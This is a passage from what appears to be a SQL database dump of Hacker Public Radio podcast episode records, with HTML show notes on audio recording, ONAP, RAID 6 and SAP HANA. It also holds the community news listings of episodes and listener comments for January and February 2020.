reduce any artefacts in the recording although as it is still attached to my desk I think I may need to invest in a shock mount although I’m not sure how it will attach to my current Boom arm. Ah well that’s a problem for another day.</p>\r\n<p>As I said this was just a shout out to Al and Dave to say thanks for the show and I will save it for another day to do a show on my new post production work flow on the mintCast audio.</p>\r\n<p>This is Tony Hughes saying goodbye for now.</p>\r\n<p><a href=\"https://mintcast.org/about-the-authors/tonyh/\" class=\"uri\">https://mintcast.org/about-the-authors/tonyh/</a><br />\r\n<a href=\"mailto:th@mintcast.org\">th@mintcast.org</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=2658\">https://hackerpublicradio.org/eps.php?id=2658</a></p>',338,0,0,'CC-BY-SA','audio,Audacity',0,0,1),
(2715,'2018-12-28','About ONAP',618,'The Linux foundations ONAP project all about it','<p>So I went to the open networking trade show sponsored by the Linux Foundation with Ken Fallon’s help.</p>\r\n<p>The first thing they talked about was ONAP.</p>\r\n<p><a href=\"https://www.onap.org/\" class=\"uri\">https://www.onap.org/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/ONAP\" class=\"uri\">https://en.wikipedia.org/wiki/ONAP</a></p>\r\n',129,61,1,'CC-BY-SA','Networking,ONAP,Open Networking Automation Platform',0,0,1),
(2722,'2019-01-08','RAID 6 a short description',150,'How Raid 6 works','<p>Raid 6 is a take of raid 5 but with support for 2 drive protection.</p>',129,0,1,'CC-BY-SA','Raid6',0,0,1),
(2742,'2019-02-05','SAP Hana Certification Directory',1085,'How the SAP Hana certification works','<p>SAP Hana certification is a long and hard process covered at<br />\r\n<a href=\"https://www.sap.com/dmc/exp/2014-09-02-hana-hardware/enEN/index.html\" class=\"uri\">https://www.sap.com/dmc/exp/2014-09-02-hana-hardware/enEN/index.html</a></p>',129,0,0,'CC-BY-SA','SAP HANA,certification',0,0,1),
(3001,'2020-02-03','HPR Community News for January 2020',2649,'HPR Volunteers Dave and Ken talk about shows released and comments posted in January 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2978\" target=\"_blank\">2978</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-01-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2978\" target=\"_blank\">GARAGE DOOR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2979\" target=\"_blank\">2979</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-01-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2979\" target=\"_blank\">Bicycle Freewheel Maintenance</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2980\" target=\"_blank\">2980</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-01-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2980\" target=\"_blank\">FLOSS Weekly 553 - Hacker Public Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2981\" target=\"_blank\">2981</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-01-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2981\" target=\"_blank\">HPR Community News for December 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2982\" target=\"_blank\">2982</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-01-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2982\" target=\"_blank\">World of Commodore 2019 Episode 4: Bare metal c64 Emulation on Raspberry Pi</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2983\" target=\"_blank\">2983</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-01-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2983\" target=\"_blank\">my phone</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2984\" target=\"_blank\">2984</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-01-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2984\" target=\"_blank\">RHEL 8 Workstation first looks </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2985\" target=\"_blank\">2985</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-01-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2985\" target=\"_blank\">Firefox Update</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2986\" target=\"_blank\">2986</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-01-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2986\" target=\"_blank\">Onlykey Updated</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2987\" target=\"_blank\">2987</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-01-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2987\" target=\"_blank\">World of Commodore 2019 Episode 5: New games from Double Sided Games</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2988\" target=\"_blank\">2988</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-01-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2988\" target=\"_blank\">A tale of two hackers in the same system</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2989\" target=\"_blank\">2989</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-01-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2989\" target=\"_blank\">Hacker Public Radio 2019-20 New Year Show Episode 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2990\" target=\"_blank\">2990</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-01-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2990\" target=\"_blank\">JDK14 - Wrap up edition</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2991\" target=\"_blank\">2991</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-01-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2991\" target=\"_blank\">Fix yer fog machine</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2992\" target=\"_blank\">2992</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-01-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2992\" target=\"_blank\">World of Commodore 2019 Episode 6: Introduction to C64 OS</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2993\" target=\"_blank\">2993</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-01-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2993\" target=\"_blank\">Hacker Public Radio 2019-20 New Year Show Episode 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2994\" target=\"_blank\">2994</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-01-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2994\" target=\"_blank\">Wrestling As You Like It Episode 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2995\" target=\"_blank\">2995</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-01-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2995\" target=\"_blank\">ActivityPub Conference 2019 - ActivityPub: past, present, future</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2996\" target=\"_blank\">2996</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-01-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2996\" target=\"_blank\">Spideroak Update</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2997\" target=\"_blank\">2997</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-01-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2997\" target=\"_blank\">World of Commodore 2019 Episode 7: Video Playback with 1541 Ultimate</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2998\" target=\"_blank\">2998</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-01-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2998\" target=\"_blank\">Hacker Public Radio 2019-20 New Year Show Episode 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2999\" target=\"_blank\">2999</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-01-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2999\" target=\"_blank\">SQRL - Secure Quick Reliable Login</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3000\" target=\"_blank\">3000</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-01-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3000\" target=\"_blank\">Chopin Free project</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 9 comments in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=95#comments\" target=\"_blank\">hpr95</a></strong>\n(2008-05-12) \"<em>Security Wow!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=86\" target=\"_blank\">rowinggolfer</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=95#1\" target=\"_blank\">Comment 1</a>:\npokey on 2020-01-01:\n\"A long overdue thank you.\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 8 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2979#comments\" target=\"_blank\">hpr2979</a></strong>\n(2020-01-02) \"<em>Bicycle Freewheel Maintenance</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2979#1\" target=\"_blank\">Comment 1</a>:\nDave on 2020-01-02:\n\"Like the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2988#comments\" target=\"_blank\">hpr2988</a></strong>\n(2020-01-15) \"<em>A tale of two hackers in the same system</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2988#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2020-01-15:\n\"Welcome Back!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2988#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2020-01-20:\n\"Condolences on behalf of HPR\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2989#comments\" target=\"_blank\">hpr2989</a></strong>\n(2020-01-16) \"<em>Hacker Public Radio 2019-20 New Year Show Episode 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2989#1\" target=\"_blank\">Comment 1</a>:\nbeian on 2020-01-18:\n\"silence?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2989#2\" target=\"_blank\">Comment 2</a>:\nbrian on 2020-01-18:\n\"oops\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2991#comments\" target=\"_blank\">hpr2991</a></strong>\n(2020-01-20) \"<em>Fix yer fog machine</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2991#1\" target=\"_blank\">Comment 1</a>:\nKen on 2020-01-20:\n\"Bigclive\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2992#comments\" target=\"_blank\">hpr2992</a></strong>\n(2020-01-21) \"<em>World of Commodore 2019 Episode 6: Introduction to C64 OS</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2992#1\" target=\"_blank\">Comment 1</a>:\nGreg Nacu on 2020-01-29:\n\"Thanks for the episode!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3000#comments\" target=\"_blank\">hpr3000</a></strong>\n(2020-01-31) \"<em>Chopin Free project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3000#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2020-01-31:\n\"Wow...just, WOW!\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-January/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-January/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 9 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3021,'2020-03-02','HPR Community News for February 2020',3272,'Call for shows is open. Ken and eventually Dave discuss the shows, media and development plans.','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3001\" target=\"_blank\">3001</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-02-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3001\" target=\"_blank\">HPR Community News for January 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3002\" target=\"_blank\">3002</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-02-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3002\" target=\"_blank\">World of Commodore 2019 Episode 8: Vote of thanks</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3003\" target=\"_blank\">3003</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-02-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3003\" target=\"_blank\">Hacker Public Radio 2019 2020 New Year Show Episode 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3004\" target=\"_blank\">3004</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-02-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3004\" target=\"_blank\">Fixing simple audio problems with Audacity</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3005\" target=\"_blank\">3005</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-02-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3005\" target=\"_blank\">Is ActivityPub Paving The Way to Web 3.0?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3006\" target=\"_blank\">3006</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-02-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3006\" target=\"_blank\">Hijack Auxiliary Input of your car!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3007\" target=\"_blank\">3007</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-02-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3007\" target=\"_blank\">Photography 101</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3008\" target=\"_blank\">3008</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-02-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3008\" target=\"_blank\">Hacker Public Radio 2019-20 New Year Show Episode 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3009\" target=\"_blank\">3009</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-02-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3009\" target=\"_blank\">Linux Inlaws S01 E01</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3010\" target=\"_blank\">3010</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-02-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3010\" target=\"_blank\">FOSDEM first impressions</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3011\" target=\"_blank\">3011</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-02-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3011\" target=\"_blank\">Linux is HARD rant with Intel graphics</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3012\" target=\"_blank\">3012</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-02-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3012\" target=\"_blank\">Sample episode from Wikipediapodden</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3013\" target=\"_blank\">3013</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-02-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3013\" target=\"_blank\">Bash Tips - 21</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3014\" target=\"_blank\">3014</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-02-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3014\" target=\"_blank\">A Headless Raspberry Pi Streaming Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3015\" target=\"_blank\">3015</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-02-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3015\" target=\"_blank\">ActivityPub Conference 2019 - The Semantic Social Network</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3016\" target=\"_blank\">3016</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-02-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3016\" target=\"_blank\">Nixie tube clock and friends!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3017\" target=\"_blank\">3017</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-02-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3017\" target=\"_blank\">Developing Black and White Film</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3018\" target=\"_blank\">3018</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-02-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3018\" target=\"_blank\">Encrypted edit</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3019\" target=\"_blank\">3019</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-02-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3019\" target=\"_blank\">Linux Inlaws S01E02 FOSDEM shenanigans</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3020\" target=\"_blank\">3020</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-02-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3020\" target=\"_blank\">Validating data in Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 3 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2999#comments\" target=\"_blank\">hpr2999</a></strong>\n(2020-01-30) \"<em>SQRL - Secure Quick Reliable Login</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2999#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2020-02-06:\n\"Great show!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3000#comments\" target=\"_blank\">hpr3000</a></strong>\n(2020-01-31) \"<em>Chopin Free project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3000#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-02-02:\n\"Great show!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3000#3\" target=\"_blank\">Comment 3</a>:\nmcnalu on 2020-02-02:\n\"Great!\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 13 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3002#comments\" target=\"_blank\">hpr3002</a></strong>\n(2020-02-04) \"<em>World of Commodore 2019 Episode 8: Vote of thanks</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" 